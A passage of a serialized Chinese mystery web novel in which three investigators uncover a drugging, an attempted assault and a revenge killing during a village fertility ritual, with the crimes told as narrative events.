想起方才街上那些妇人看自己的眼神,温余登时起了一身鸡皮疙瘩。
“不是看人,”启蛰用筷子指向温余,“是看你。”
贺扶着实看不下去,“启蛰,食不言,还有莫要用筷子指人。”
他平日里教导的礼数都到哪儿去了?
启蛰悻悻收回手,咽下嘴里的饭,道:“不过她们看你的眼神确实奇怪,就好像是……”
他只觉得那眼神十分令人不适,但又描述不出来,思索间又听贺扶开口:“嫌弃,又带些热切。”
完全对立的两种情绪,着实让贺扶想不通。
三人交谈间,彭昭的母亲又拿了两碗饭过来,她热情招呼道:“来来来,几位外乡来的朋友,久等了。”
同启蛰碗里无二的粟米饭被放在面前,温余却怎么也吃不下去,只觉那碗里的不是粮食而是些蛇虫鼠蚁。
她咽了咽口水,将胃中的不适压下去,抬眼问彭昭的母亲:“我们初到贵地,不知这位夫人能否向我们说说这外面的祭祀游行?”
过于文邹邹的话说得温余浑身难受,但凡这鬼地方的氛围不这么诡异,她说话也不至于这般客气。
彭母仍是笑盈盈地盯着温余,像是在看自家孩子一般:“好啊,小姑娘你想知道什么?”
“这街上游行为何没有男子?”
自从进入这个镇子,彭昭是她见过的第一个男子。
“这个啊,自然是因为男人都在家里了。”彭母说得随意,“游行为的是求子,看得都是女人的肚子,男人去有什么用?”
这生子又不是只用女人!启蛰将自己碗中的饭吃完后悄悄将温余的碗拉过,一边吃着饭一边想着。
“诶呀,看来这小哥是饿狠了,我再去给你盛一碗,可别抢这小姑娘的!”彭母面色咣白,急急忙忙站起来,把手胡乱往衣摆上擦了擦,道了一声后便回到了里屋给温余盛饭。
盛了饭回来,她带着热切的目光看着温余吃了几口后才露出个笑来。
太奇怪了……温余放下筷子。
分明有三个人,分明贺扶也没吃多少,偏偏要盯着自己,莫不是这饭里真的有什么东西?
念此,温余借着贺扶同彭母说话的间隙偷偷将饭倒掉,转眼看到已经吃饱正在拍肚子的启蛰暗暗叹一声:
希望这饭里真的没毒吧……
贺扶同彭母问了些镇子习俗、祭祀禁忌后又问了些她家的情况。
她夫君在三年前死了,女儿又不在家,所以家中只有她与彭昭母子俩,至于女儿的去处,她并未过多说明。
二人聊完,天色将晚。
彭母带着三人找了房间。家中可供住人的屋子只有三间,她们母子住一间,又因为温余是女子不方便只能让贺扶和启蛰挤一间,温余单人住一间。
等彭母离开,温余慢吞吞地推开门,她的房间在最里面,离贺扶他们有一段距离,若是真的出事怕是都来不及喊他们。
她伸手往腰间摸了摸,硬邦邦的,是一把小小的匕首。
那是临走前葛巾交给她防身的,若是真出了事还能抵抗一阵。
温余定了定心神后推开门,谁料一打眼就看到一张不正常的笑脸,她被吓了一跳。
“姐姐,一个人睡害怕吗?需要我来陪你吗?”彭昭带着笑,分明是孩童天真的笑脸却让温余感到一丝悚然。
“不用了,姐姐不怕,你还是去和你母亲一起睡吧。”温余脑中混沌,困意逐渐放大,只想把他快些打发走。
彭昭歪了歪头,似乎很是疑惑:“姐姐真的不怕吗?我是男孩子,可以保护你的。”
“当真不怕,姐姐困了,你快些回去吧。”
听温余这么说,彭昭的眼中闪过一丝不明的情绪,随后又换上一个大大的笑脸,道:“那我就走啦,姐姐若是怕记得叫我哦!”
由于屋内太黑,温余又太困,没有注意到他表情的转变,只是送他出去后关上门,就立刻躺在床上。
困意席卷,竟是连眼皮都睁不开了。
不知睡了多久,温余惊觉有什么东西像蛇一般缠着自己。
黑暗中,从小腿到肩膀,黏糊糊的,湿哒哒的,像一只汗津津的手,在抚摸着自己。
温余硬是将眼睛睁开一条缝,只见一个黑影正趴在自己身上,借着屋外的月光,她认得出来,那是彭昭。
“你做什么!”温余猛得起身,奋力将他推开。
彭昭被大力一推,掉在床下还打了个滚,看起来很是滑稽。但等他稳住自己后,又朝温余天真地笑笑:“我在保护姐姐啊……”
温余觉得毛骨悚然,她几乎能肯定,这个笑容不会出现在一个几岁的孩童脸上,而是属于一个恶劣,急色的男人。
侏儒……
这个词一在温余脑海中出现,她便将一切都想通了。
为什么他的眼神如此奇怪,为什么彭母要看着自己吃饭,为什么将自己的屋子放在最里面。
温余向腰间探去,想将那把匕首拿出,却发现腰间早已没了匕首。
可恶,被他拿走了……
温余看向彭昭,他
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不知何时已经从地上爬了起来,他正看着自己,笑得奇怪,声音也不再似孩童稚嫩,而是一个成年男子的声音:“我说了,我是来保护姐姐的。”
这一声姐姐叫得温余头皮发麻,她飞快的环视四周,想找一个可以逃出去的地方,奈何看了一圈儿都没能找到。
她又看向正在向自己走来彭昭。
身量小,刚刚还能被自己给推下床,想来力气也不是很大,自己竟然会怕他?
想到这里,温余的心跳也平复了不少,一个小孩,有大人的头脑又有什么用?
一巴掌的事!
温余直接翻下床,彭昭见势也拿了匕首出来冲着温余的腿刺去。
呵,矮子就只能刺腿。
温余一转身很灵巧的将刀夺下后将他的双臂反剪在背后。
这一招是她和启蛰学的。
“你没吃东西?”彭昭被压在地上,瞪大了眼睛。
果然饭里有东西……
“姐姐我百毒不侵!”
温余拿刀柄往彭昭头上一敲,以这东西的重量当下便将他砸晕了。
带了这么久,总算是有些用了。温余不由庆幸自己没有因为它重而把它留在马车里。
确认彭昭一时半会醒不来后温余来到门口。
不知道贺扶和启蛰那边怎么样了,毕竟启蛰那饿死鬼吃了那么多饭,也不知道还活着没!
她推了推门,果然被从外头锁住了,就只好从窗户翻出去。
一出屋子她便飞快往贺扶屋中赶,彭昭晕了他娘可还在,说不准正在贺扶那边。
他们该不会也被轻薄了吧!?
温余甚至已经想到了启蛰明早起来后一脸悲愤要以头抢地的样子。
但出乎意料的,贺扶他们的房间周围十分安静。
难不成在屋里?
温余推开门,蹑手蹑脚的往床边走。到了床边却只见启蛰一人在呼呼大睡,四仰八叉的。
贺扶去哪儿了?温余心下疑惑,却又被窗外的一阵声响带走了注意。
她缓缓行至窗边,听屋外发出一声闷响随后便是门被推开的吱呀声。
完了!
慌忙间,一双手忽的环住她的腰,没等她反应便将她放在了床上,用被子将她盖住。
鼻翼间熟悉的檀香,是贺扶……
那他方才去哪儿了?自己为何没有看到他?
没等她询问,便听到脚步声愈发接近,声音很轻,还带着细不可查的铃铛声。
随着那人的接近,贺扶的手臂也越收越紧,她整个人团起来,如同一个长在逼仄豆荚里的豌豆一般,紧贴着贺扶温热的身体。
她双臂被挤得有些发麻,只能暗暗伸直环住贺扶精瘦的腰身,好让自己舒服一些。
接着,她便感受到贺扶一颤。
一瞬间,她脑中轰鸣,贺扶该不会认为她是流氓吧?他没被别人轻薄却被自己轻薄了!
温余小心翼翼地扭头,却又被贺扶按了回去。
那人还没走……
温余闭上眼,暗暗整理着稍后的措辞。
她,真的不是流氓!
25. 活人祭案(二)
那人似乎在贺扶身边看了很久,确认他熟睡后才缓步离去。
那人是彭昭的母亲吗?但听脚步声轻快,不似她那般年长的妇人,应当是个年纪小些的姑娘,那会是谁呢?她为何要来彭昭家?
“温小姐。”贺扶声音平静,“快些出来吧,莫要闷坏了。”
听声音,自己刚刚的冒犯似乎对他没什么影响。
那便好。
温余暗自庆幸后开始从被子里往外爬,没想到双手使力时不小心按在了贺扶腰间,听他倒吸一口气,温余觉得自己弄疼了他,慌乱之下下意识的将手一撤,下一瞬整个人便压在了贺扶身上,四目相对,相顾无言。
贺扶的手正好搭在她腰间,但她此时却已然顾不上了。因为他们之间的距离太近了,近到可以借着月光看清对方脸上细小的绒毛。
呼吸交缠间,一灼热,一寻常,一急促,一平静。
温余,是前者。
不得不说,贺扶这张脸是生得极好的,像是温和的白玉柔软细腻,但看久了又似皎皎的明月,生出些距离感来,再加月光映照,此时更显得越发柔和。
温余也顾不上冒犯,一路从眼睛往下看,最后停在嘴唇上,因为他神色诧异,嘴唇还微微张着。
好想一口咬上去……
“温小姐?你怎么了?”贺扶清缓的声音打断了温余这潜滋暗长的坏念头,她轻轻摇头道:“没、没事。”
她本打算从贺扶身上起来,但一旁的启蛰忽然翻了个身。
这床板不就不稳当,他这一动作便带着床板吱吱作响。
温余感到摇晃,起了一半的身子又往贺扶身上压去,贺扶也顺势拍拍她的背,安慰道:“没事的,是启蛰。”
“抱歉贺大人,我这就起来。”
等温余麻利的起来,坐在床上问贺扶:“刚刚那人的样子贺大人可看到了?”
贺扶微微点头,“看到了,虽然不是很真切,但下次再见应当能认出来。”
“那便好,可是那人为何要深夜来彭昭家呢?”温余还是不解。
贺扶正要开口,却觉得空气中生出些别样的味道来,他皱眉,“不好,捂住口鼻。”
但已经来不及了,温余此刻只觉得头脑发昏,眼前越来越模糊,只能看清贺扶的轮廓,她渐渐坐不稳,向贺扶那边倒去。
——
再一醒来,便是次日一早了。
这一觉虽然睡得混沌,但却格外的舒适。
好似周身都陷在棉花里一般,还带着淡淡的檀香。
睡梦中温余如根茎向水一般下意识的循着那香处蹭了蹭,越蹭越觉得喜欢,便用双臂环着,好似抱着一个巨大的布娃娃一般。
“啊——”
不合时宜且扰人清梦的一声大喊惊醒了温余,她立刻从床上弹起,慌忙四下望着,“怎么了怎么了?”
转头便看见启蛰好似被轻薄了的姑娘一般,往床沿处退着,边退还边指着温余大叫:“你你你你,你怎么在这里?”
“我我我我,我为什么不能在这里?”温余也学着他的样子指着自己。
启蛰收回手,声调高得仿佛下一刻便能将嗓子扯坏一般,“这里是我和大人的房间,你……”
想到贺扶,他立刻往贺扶那边看了一眼,见贺扶正睁开眼睛准备起身。
方才,他好像看到温余是趴在贺扶身上的……
启蛰觉得自己变成了一块碎裂的石头,他哭喊道:“你个流氓,你敢轻薄我家大人,我杀了你!”
说着,他就要四下找剑,贺扶揉了揉眉心,声音有些沙哑,“启蛰莫要吵了,这是个误会。”
显然他昨日也中了迷药,只是比温余晕的晚些而已。
温余也摆手解释:“真的是个误会,昨夜发生了许多事情,你先别激动,我们慢慢告诉你。”
虽然她昨日真生出些冒犯想法来,但那也只是想法,日月可鉴,她当真没做什么轻薄事情。
但启蛰显然是不相信的,他还是哭喊:“天大的事情也不能睡在一起啊!”
“因为我们中了迷药。”贺扶刚醒本就不适,又被启蛰这般吵嚷,着实是烦闷的紧,声音都带了些严厉。
“我不信!”
自从起来看到温余的那一刻,启蛰就几近崩溃。他着实无法接受自己那冰清玉洁的大人会与温余这丫头睡在一起,那心情仿佛是女儿被登徒子侮辱后悲愤难耐的老父亲。
看他还要继续吵,温余暗暗道了句抱歉后冲着他的脑袋就是一掌。
场面顿时安静了下来,启蛰也不吵了。
还是动手有用,温余暗暗感慨。
“现在能安静听我们解释了吗?”温余下了床,叉腰道。
启蛰点头,“你狡辩吧。”
温余:?
见启蛰还不愿意相信,贺扶无奈揉揉眉心,自己解释道:“昨夜温小姐为了躲避彭昭来了我们屋里,但却意外发现这院中还有一位不认识的姑娘,保险起见我们还是躲了起来,但却被那姑娘施了迷药,所以才会有你看到的那一幕。”
温余有些疑惑:“贺大人如何知道彭昭来我屋里了?”她依稀记得自己昨夜并没有同贺扶说这事。
贺扶轻笑一声:“猜测,贺某觉得那彭昭看温小姐的眼神有些不对劲,在昨夜感到意识开始模糊后便猜想可是那彭昭母子所为,正要去找你,你便过来了。”
说罢,贺扶看向温余,柔声询问:“贺某说的可对?”
温余点头,又摇头,她道:“大体对,但我不是为了逃才来这儿的,我把彭昭给敲晕了,担心你们才来这边的。”
“那便多谢温小姐关心了。”贺扶起身穿上鞋,整理整理衣摆。
启蛰还没有搞清楚状况,懵道:“那彭昭不就是个孩子吗?他为何要去你屋里?”
“他是侏儒,看着是小孩子,年龄说不准比你还大呢!”温余解释道。
启蛰一脸惊讶,嘴张得仿佛能塞下一个鸡蛋,“那你……”
没等他开口问温余的情况便听屋外响起一声惨叫,听声音应当是彭昭的母亲。
“难不成是她看到彭昭晕了?”温余疑惑道。
被彭昭母亲的声音一惊,启蛰原本的惊讶瞬间转变为气愤,他平时最恨欺辱弱小之人,竟还使这般下作的手段,着实可恨至极!
他起身拿了剑就推门出去,“敢设计害我大理寺的人,看我不收拾你!”
说罢,他将门一甩,直直向叫声的来源走去。
贺扶看着他怒气冲冲的背影,无奈道:“还是
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这般莽撞。”
“贺大人我们也快些去看看,敢算计我,看看他们有几个胆!”
说罢,温余拉起贺扶的手便要走,贺扶挣脱无果后也只能被她拉扯着前往彭昭的屋子。
一进门,温余便看到启蛰揪着彭昭母亲的衣领,怒斥道:“想着法儿的欺辱姑娘,简直是流氓、登徒子,不要脸!”
彭昭母亲没有回话只是哭闹着想要挣脱,“哭哭哭,哭什么哭?做得这般熟练,被你们欺辱过的姑娘定不止一两个,你还有脸哭?!”
温余暗暗蹙眉,那被启蛰拎着的妇人双目瞪圆,额上冷汗直冒,直愣愣盯着床脚,倒像是被什么极其恐怖的东西吓哭的。
而且,“彭昭呢?”
温余在屋中看了一圈,竟是没有彭昭的身影,她分明记得昨日将彭昭敲晕在床边。
贺扶走到彭昭母亲盯着的地方,缓缓蹲下身,地面干净却隐约能闻到一丝血腥气。
他在地上四处摸了摸,无果后又抬眼去看其他地方,最后在床脚处发现了血迹。
伸手去摸,颜色已经有些暗沉了。
“行了行了,别骂了。”温余看启蛰骂得起劲,上前阻拦。
虽然她心中也气,但如今还是彭昭消失一事更为蹊跷。
是他醒来后自己离开了,还是出了什么事呢?
他若是真的醒来后自己走,定然会告诉自己的母亲,但看彭母这般神色,应当也是不知道彭昭的下落,那还是后者的可能性更大些。
难不成是昨日的那个姑娘?
“这事有蹊跷!”温余拉着启蛰的手臂。
启蛰正在气头上,没好气道:“有什么蹊跷?他们都欺负到我们头上了!”
“彭昭不见了!”
闻言,启蛰才反应过来,他确实从一进门起就只看到了彭母一人。
他放开拎着彭母衣领的手,猜测道:“难不成是事情败露自己跑了?”
此刻彭母已经止住了哭声,在被放开后顺着墙壁慢慢滑下。她目光呆滞,声音嘶哑,看着贺扶所在的地方,愣愣道:“是她……”
“她?”启蛰皱眉,这都是什么乱七八糟的。
“是她,她回来报仇了,是她的鬼魂……”
“怎么又扯到鬼魂了?”启蛰是越来越看不懂了。
温余扯扯他的袖子,道:“先闭嘴。”
启蛰噤声后,彭母继续道:“是她索命来了,她恨她弟弟,是她索命来了!!”
说罢,她看向屋门,手脚并用,疯了似的往前冲,像一只失去理智的怪物一般。
“她说的是彭昭的那位姐姐?”贺扶站起身,拿帕子擦了擦手指上的血。
“不是说他姐姐外出了吗?”温余想起昨日彭昭说的话。
“他说不准是在骗你呢?”启蛰也上前几步,“我们快点跟上吧,看她这样子可别冲到街上乱咬人!”
“好,走吧。”温余附议。
四人跟着彭母来到前院,见她扑在房檐上悬挂的那泥娃娃下方,重重磕着头。
不过片刻,额上就血肉模糊,但她像是感觉不到痛一般,继续磕着,一边磕头还一边叫道:“求你,不要带走我儿子,不要带走我儿子,我知道你恨,但他可是你弟弟啊,我求你我求你……”
26. 活人祭案(三)
“她这是,中邪了?”启蛰看着她这神神叨叨的样子,有些奇怪。
温余没有搭话,皱着眉向彭母处走去,贺扶担心有异,本想伸手拉住她,却被她暗暗躲开。
他的目光跟随着温余向前,直到停在距离彭母五步外的地方,然后抬头向上看,将目光落在房檐上吊着的泥人身上。
昨日从镇中一路走来,他也看到了家家户户门口挂着的泥人,不过成人小臂长,而彭昭家挂着的这个却是有一个筐大。
那硕大的泥人此刻正微微摇晃着,彭母跪在其下,涕泪交垂。
温余盯着那泥人看着,心中比划它的大小,应当是有半个人大,或者,是一个孩童的大小。
温余正要上前去问,却听屋外响起一阵急促的敲门声,而后又是一阵呼喊:“彭家的,出来送贡品了!”
游行?温余顿了顿,按照银罗镇的规矩,今天所有人都要去送贡品,那贡品自然就是他们昨天在街上看到的那头猪,把它扔进河里,完成最后的仪式。
现在,正是所有人集合的时候。
屋外的人见屋里没反应,便使了大力气把门拍得震天响,吼道:“快点,彭家的,磨磨蹭蹭干什么呢?耽误了吉时你负的起责任吗?”
随后,温余还听到屋外有许多不同的声音附和着,有男有女,应当是都在等彭母了。
此刻,彭母也止住了哭声,摇摇晃晃地站起身来。原本就随意的发髻此时更加凌乱。她转过身,温余便见她面色白得吓人,她蹒跚地往门口走,打开门后正对上一个男人带着怒气的脸。
男人没有在意彭母的异样,只是用手推着她出门,边推还边骂道:“彭家的你什么意思?要不是今天忙着祭祀,我非让你知道知道什么是规矩!”
彭母没有回话,只是硬生生被他拉着走。
“温小姐可看出什么了?”贺扶负手站在温余身旁,目送彭母离开后又转过头看了看那泥娃娃,只希望是自己想错了,而不是那般残忍的真相。
“我不知道,我们还是先跟去看看吧。”温余眉头还未舒展。
昨晚的那个姑娘,彭昭的失踪还有彭昭母亲的怪异举止,这一切可是有什么联系?
贺扶点了点头,启蛰还在抬头观察着那个泥娃娃,看了半天也没看出什么问题来,等贺扶叫他,他才转头应了一声,跟着二人一同出了门。
三人跟在游行队伍的最后,敲锣打鼓,吹吹打打,如同送嫁队伍一般。
那头被缝合好的猪被高高举起,庞大的身体一看就是被喂养得极好,说不准就是为了祭祀所准备的。
游行队伍一路上除过领头的巫师念着些听不清楚的咒语什么的,其余人都鸦雀无声,三人也十分默契的没有开口。
而温余自始至终都盯着彭母,她是被人拖着走的,整个人如同行尸走肉一般,魂不守舍,应该是还在担心彭昭的安危。
彭昭究竟去哪儿了呢?
温余正在推测彭昭的下落,却感到衣袖被轻轻一拉,她转头看到贺扶正盯着那猪的身子。
她也看过去,在猪的肚子上有一条长长的缝合线,应该是往猪肚子里塞了什么,怪不得那么鼓。
念此温余上前随便拉住一个妇人问她有关这贡品的消息,那妇人告诉她这猪里一般也是赛着泥娃娃寓意得子。
虽说是这人眼中的“祥瑞”但温余却觉得有些不舒服,猪肚子里塞着泥娃娃的得子,而且猪一次产子也多,这不就是明晃晃的将生育的女人比作猪吗?这般象征侮辱,这镇子里的妇人竟还对这祭祀活动这般热情憧憬,着实是令人疑惑。
当温余问出这个问题时,却被刚刚那回答问题的妇人狠狠一瞪,她鄙夷道:“能生个孩子就不错了,还管这些有的没的?你这丫头可得放尊重些,当心以后绝了子嗣,人夫家不要你了!”
温余撇撇嘴,反正她又不想生孩子。
虽说这么说不免被人职责没良心,但她还是觉得自己那位素未谋面的母亲就因为生了自己而丧命,着实是亏得很。在她心里,没有什么东西是值得她放弃自己的性命去做的。
留得青山在,不愁没柴烧,只要活着一切便都有可能。
虽然心里这么想,面上还是得表现一下的,毕竟这是人家的场子,若是自己对着干,说不准会被他们围着打一顿。
神神叨叨的跟着队伍走了一路,到最后那一段更是拜了又拜,启蛰被搞的烦躁,暗暗道:“这真有用吗?真能多子多福?”
温余趁着向前拜的间隙转头问他:“问这个做什么?你也想多子多福啊?”
启蛰“呸”一声,“我最讨厌小孩了。”
“特别是像你这样的?”温余见缝插针的噎他。
启蛰正要怒斥一声“闭嘴”却听贺扶说:“莫要在吵了,入乡随俗,既然来了那便按照他们的规矩便是。”
温余又转而问他:“那贺大人您相信这些吗?”
“信则有不信则无,于贺某看来……”一拜罢,贺扶缓缓直起身子,“不过怪力乱神罢了。”
温余点头赞同,又听启蛰叫苦:“到底什么时候能到啊?就这么大点儿的镇子我们都走了多久了?”
贺扶向前看了看,道:“快了,已经能看到河边的祭台了。”
果真如贺扶所说,三人不过跟着队伍走了一刻便到了河岸。
高高的祭台上脸上涂抹着泥巴之类的祭司正举起双手高呼着,台下众人也高呼,一时间整个场面像是一场盛大又荒诞的神秘仪式,人人虔诚,人人渴求。
随后,那祭司开始低头念着什么东西,声音如同隔着一层屏风,虚无缥缈又让人心里发毛。温余最不喜欢这神神鬼鬼的东西,从小就不喜欢。
那时她年纪小,对很多东西都认不清楚,温淳就借着这些骗她,哄她说自己可以看到鬼魂,能看到温余的母亲每晚都在她身边陪着她。
温余自然是相信了,她每天晚上都自言自语,以为母亲能够听到,自己的私房钱藏在哪里,自己最喜欢什么东西,还有自己满腹的委屈,都告诉了“母亲”。
虽然现在听起来蠢得令人发笑,但不可否认的是那确实给了年幼的温余几丝慰藉。但最后的结局却是不尽人意,温淳将她的私房钱,珍藏的漂亮的小石头都给偷了去,还借此嘲笑她是个没脑子的蠢货。
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从那以后,温余便时刻回避这些鬼神之说,不是害怕,只是每次接触便会让她想起那段时间的无助,那种感觉比害怕更令人窒息。
“祭——品——入——河!”
祭司拖着极长的调子,指挥着众人将那头猪放进河中。
庞大的身躯在水面上溅出个巨大的水花,沾湿了旁边人的衣服。
之前的祭祀中从未发生过这事,一时间所有人都开始指责那人,说他没轻没重,说他激怒了神灵,温余却察觉出了不对劲。
这水花有些太大了,十分不寻常。
“贺大人……”
她转头,看到贺扶也正皱着眉,看样子也发现了不对劲。贺扶道:“上去看看。”
温余点头,附在启蛰耳边向他解释了缘由后他的面色也凝重起来。三人从人群中艰难的穿过,停在河岸边后,贺扶转身对众人道:“诸位,这祭品有问题。”
此言一出,众人皆一怔,随后就是无尽的指责,在他们眼中面前着三个穿得人模人样的不过就是个什么都不懂的外乡人罢了,竟然敢在这里对他们的仪式指指点点。
见众人不信,温余只好向前走几步,喊道:“你们不信,若是这祭品真的出了问题,你们的神灵可还会保佑你们?若是神灵发怒,你们就不怕祈愿适得其反?”
闻言,场面顷刻安静了下来,最后还是那位村长上前,半信半疑道:“那你们就查,若是有问题那我们便不追究,若是没问题,你们就去代替这祭品!”
启蛰听得头皮发麻,见面前人们激烈的附和声,他不由怀疑这村子可是真的让活人下河当过祭品。他不住摸了摸胳膊后与贺扶对视一眼,接着挽起裤脚下河去捞那头猪。
在拉住那猪的瞬间,启蛰惊了一下,这重量确实不似他所推测的那样。
他将猪放在地上,温余从祭台上借来了刀,沿着缝合线将猪肚皮剪开,一颗染着泥土的头就这样直接的出现在众人眼前。
“啊——”
凄厉的叫声响起,所以人都朝着叫声的来源看去,是已经瘫倒在地上的彭母,因为那颗头,正是彭昭的。
“我的儿啊!”她爬着接近那颗头,不顾脏污将那头紧紧抱在怀里,似乎要用力地把她塞进身体里一般。
温余从猪的身体里还发现了彭昭的身体部位,都是被人生生切开的。
什么人竟然会这么残忍?
周围人都唏嘘着,猜测着是谁杀了彭昭。
“你们可知彭昭有何仇敌?”贺扶问一旁的百姓,一时间他们都交头接耳,窃窃私语。
如同蚊子般的讨论持续了不久,便听有人高喊:“诶,唐春怎么不在?”
“唐春?”一人回道,“她今天一早就没来,说是身体不舒服,反正也不是什么要紧的人。”
这祭祀游行重要的是本姓人,外姓在不在与祭祀也没什么影响,所以可没有人去关注唐春来没来,为什么没来。
“肯定是那女人杀的人!”刚刚发问的人一口认定,“那女人阴森森的,见了人也不说话,说不准就是彭昭什么时候惹了她,她怀恨在心所以就杀了彭昭!”
27. 活人祭案(四)
看着众人群情激奋,仿佛下一刻便要冲去唐春家将她碎尸万段来为彭昭偿命一般。贺扶垂眸去问身旁的男人,有关这唐春姑娘的事情,男人叹了口气,道:“那女人父母早就死了,是个孤儿,平日里也不怎么和别人说话,有时候还疯疯癫癫的,吓人得很,村里人都不喜欢她。”
“疯疯癫癫?”温余听到男人和贺扶的谈话,将启蛰一人留着阻止愤愤的人群,来到贺扶身边追问那男人,“为什么疯疯癫癫?可有什么原因?”
男人仔细想了想后摇头,他也不知道为何,就莫名其妙的一天晚上过后,那女人就疯了,没有一点预兆,也没有没有人知道原因。
二人听后都陷入了沉思,但却被启蛰的叫声吸引了注意。转头一看,原来是启蛰被人群推开,那些人已经簇拥着往唐春家的方向走了。
“事情都没搞清楚着什么急?”温余觉得这些人实在激进,一时有些无奈,贺扶看她一眼,柔声道:“我们先跟上去吧,先找到那位唐姑娘再说。”
温余点点头,上前叫上启蛰一同跟着人群,去往唐春的住所。
唐春住得很偏僻,几乎是在镇子最为边上的地方,往四周看去竟是望不到一个人家,果真同刚刚那人所说,这姑娘不爱与人交往。
一来到唐春家门口,便有几个男人激愤地要冲进去,将唐春拉出来认罪,最后还是在贺扶的劝说下安稳了情绪。
温余上前敲了敲木门,从门上落下一阵尘土来,但屋内却没有半点声音。
“一定是她杀了人害怕,不敢开门!”一位中年的妇人说道。
一个男提议道:“直接撞开!我看她往哪儿跑!”
温余在众人的吵嚷中看了贺扶一眼,见他点头便转身开门,这门锁很松,只用力一推就开了。
门打开后,众人发现屋中空荡荡的,没有一个人。
“我就说吧,畏罪潜逃了!”
“那女人就一幅杀人的样,我们当初就该把她赶走!还听了有些人的话,留了个祸害!”
“那现在怎么办?她杀了彭昭下一个是不是就要杀我们了?”
“怕什么?她敢来,我就让她看看是谁杀谁!”
……
议论声此起彼伏,吵得启蛰头疼,他拍了拍脑袋后大喊:“说够了没有!在这儿吵有什么用!这房子就这么大点儿,你们要说出去说!”
“嘿,你——”右脸长了痣的男人指着启蛰上前,启蛰自然也不服输,作势要上去好好理论一番,却被贺扶挡下。
贺扶向众人拱了拱手,道:“各位不妨先去外面等候,等我们找到线索,便尽数相告。”
话虽如此,但其中还是不免觉得这些人不靠谱的,但最后还是跟着大部分人离开了。
等众人离开,屋内顿时安静了下来,竟是连空气都清新些了。温余在屋内转了一圈儿,除过没有落灰的摆设证明此处近来还有人居住外,再没有找到半点线索。
“这唐春会去哪儿呢?”温余站定,疑惑道。
贺扶摇头:“而且,我们也不知道她为何要杀彭昭,以及是在何处分的尸。”
启蛰突然叫一声,“诶,这个门外面有痕迹!”
二人立刻上前查看,只见一条歪歪扭扭的线往树林中延伸,像是在拖着什么东西过去一样。
“应该是凶手拖着尸体留下的痕迹。”贺扶肯定道。
“可是,她为什么要杀彭昭呢?刚刚那些人不是还说他们无冤无仇的吗?”启蛰有些不理解,难不成真是他们所说的,疯子发疯乱杀人?
“那肯定是有我们不知道的原因了,顺着痕迹去看一看应该就能知道了。”温余抬眼向林子里望去,这条痕迹竟是一眼望不到头。
三人跟着拖痕一路来到一个小坟包前,果然在这里发现了分尸的血迹。
启蛰环视一周后在坟的右侧发现了一把刀,他转身道:“这应该就是分尸杀人的凶器了。”
启蛰扯下衣摆抱着刀把递给贺扶,以免弄脏他的手。
见贺扶结果刀,温余便拿着一块在一旁发现的小木板凑上来。
只一眼便看出这是一把屠户所用的屠刀,她道:“杀猪用的,非常好用。”
“你杀过猪?”启蛰惊讶转头问她,却被她白了一眼,“你没见过杀猪啊?”
启蛰摇头,“当然没有了!”
温余也懒得和他这“不食人间烟火”的官家孩子说这些,而是将手中的小木板递上,道:“贺大人,看这个!”
贺扶将刀归还到启蛰手中,接过木板后看了看上面刻着的字。
虽然已经被腐蚀得不成样子了,但还是隐约能看到些字迹。
“这木板刻过字的时间很长了,我就只能看出一个柔字,贺大人您在看看。”温余扶着贺扶的肩,踮起脚和他一同认木板上的字。
“木板上应当刻着这坟中人的名字。”
“那我们把这坟挖开看看不就好了?”
说罢,没等贺扶阻止,启蛰就拿剑去挖坟。
温余跑上前扯住他的胳膊,道:“我说你有没有对死者的尊重啊,说挖就挖!”
启蛰停下动作,无奈道:“难不成我要做个法问问这人能不能挖啊?”
“谁让你挖了!”温余觉得这人就是个十足的莽夫,一天到晚只知道埋头冲,昨天的那几碗饭也是,今天的挖坟也是。
“不挖我们怎么知道那个唐春为什么要在这里分尸啊?”启蛰说得理直气壮,“她既然要在这里分尸,那肯定和这里面的人有关,我们总得搞清楚这人是谁吧?”
“若是想知道这里的人是谁,不妨回去问问镇子里的百姓。”贺扶面上有些无奈。
哪儿有直接挖别人坟的道理?
“就是就是!”温余附和道。
见贺扶发话,启蛰只好不情不愿的起身,“那些人叽叽喳喳的,烦得很,和他们说话太费力气了。”
“行了,先走吧。”
贺扶率先转身离开,温余跟在他身后叫了启蛰一声,他才慢慢悠悠地跟上。
唐春家门前,众人还在院中等着,彭母依旧一副死气沉沉的样子,呆呆地坐在地上,抱着彭
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昭的头,任谁来都不放手,很多人都觉得吓人,又见她不放手,只好离她远一些,故而她的身影格外明显。
见贺扶带来的木牌,众人都奇异的安静了片刻,随后转过头看向彭母。
“这不会是彭昭的那个姐姐吧?”温余猜出了众人目光的原因,又想起那个被挂在屋前的泥娃娃,脑中一怔后,扯了扯贺扶的袖子。
“我知道唐春在哪儿了!”
贺扶面色凝重,直接道:“彭昭家。”
若他猜得不错,刚刚的那坟中并没有人,因为彭柔的尸体,此刻在彭昭家中。
“为什么杀我的儿啊,为什么!”彭母突然叫喊起来,吓了身边的人一跳后猛得站起往外跑去。
启蛰本想上去拦着,却没想到她的速度之快竟是自己都未曾见过的。
“跟上。”贺扶简洁道。
彭母一路跑到家门口后已经跌跌撞撞,她推开门便双腿发软,直接跪在了地上,怀中抱着的脑袋也缓缓滚向了前方,最后在一双被血染红的鞋子前停住。
彭母急忙爬过去,抱住那颗头,还帮它拍了拍染上的灰,这才抬眼去看那双鞋的主人。
干枯泛黄的头发像院中堆着的枯草一般将那张脸遮了许多,让人看不清那人的脸色,但彭母能确定的是,她正死死盯着自己。
她大叫一声,缓缓往后退着,却发现自己的衣摆被她踩住。
“你是来索命的!你是来索命的!”她不停的摇着头,直到头脑发晕都还重复着这句话。
一直到贺扶三人赶过来后,她才猛得扑在贺扶脚边,道:“她来索命了,你们快救救我儿,救救我儿啊!”
贺扶俯身将她扶起来,示意启蛰上前来看着她。
一进门温余便发现了被安放在一边的泥娃娃,但她还是先问她:“你就是唐春吧?”
“外乡人?你们是来抓杀人凶手的?”唐春手中并没有可以抵抗的武器,她也没有抵抗的意思。
若是真的想逃,她早在众人前往她家时便逃了,可她偏偏要来这里等着,像是在等人过来找她一样。
“我们是来查明真相的。”温余没有按照她的话来说。
“查明真相?”唐春透过发丝,淡淡地看了彭母一眼,伸手将面前的头发拨开,打算和他们正式说话。
“你为什么要杀彭昭?”温余问她。
唐春向那个泥人走去,将她抱起来,小小的一个,刚好能抱在怀里,她伸手摸了摸泥人的头,眼中满是怀念,她平静道:“我想为她报仇。”
“彭柔?”贺扶也派启蛰安顿好了彭母,上前与温余并肩。
“是,你们看到那个坟了吧?”
温余点头称是,心中却有些心虚。
不但看到了,还差点被启蛰给挖了呢!
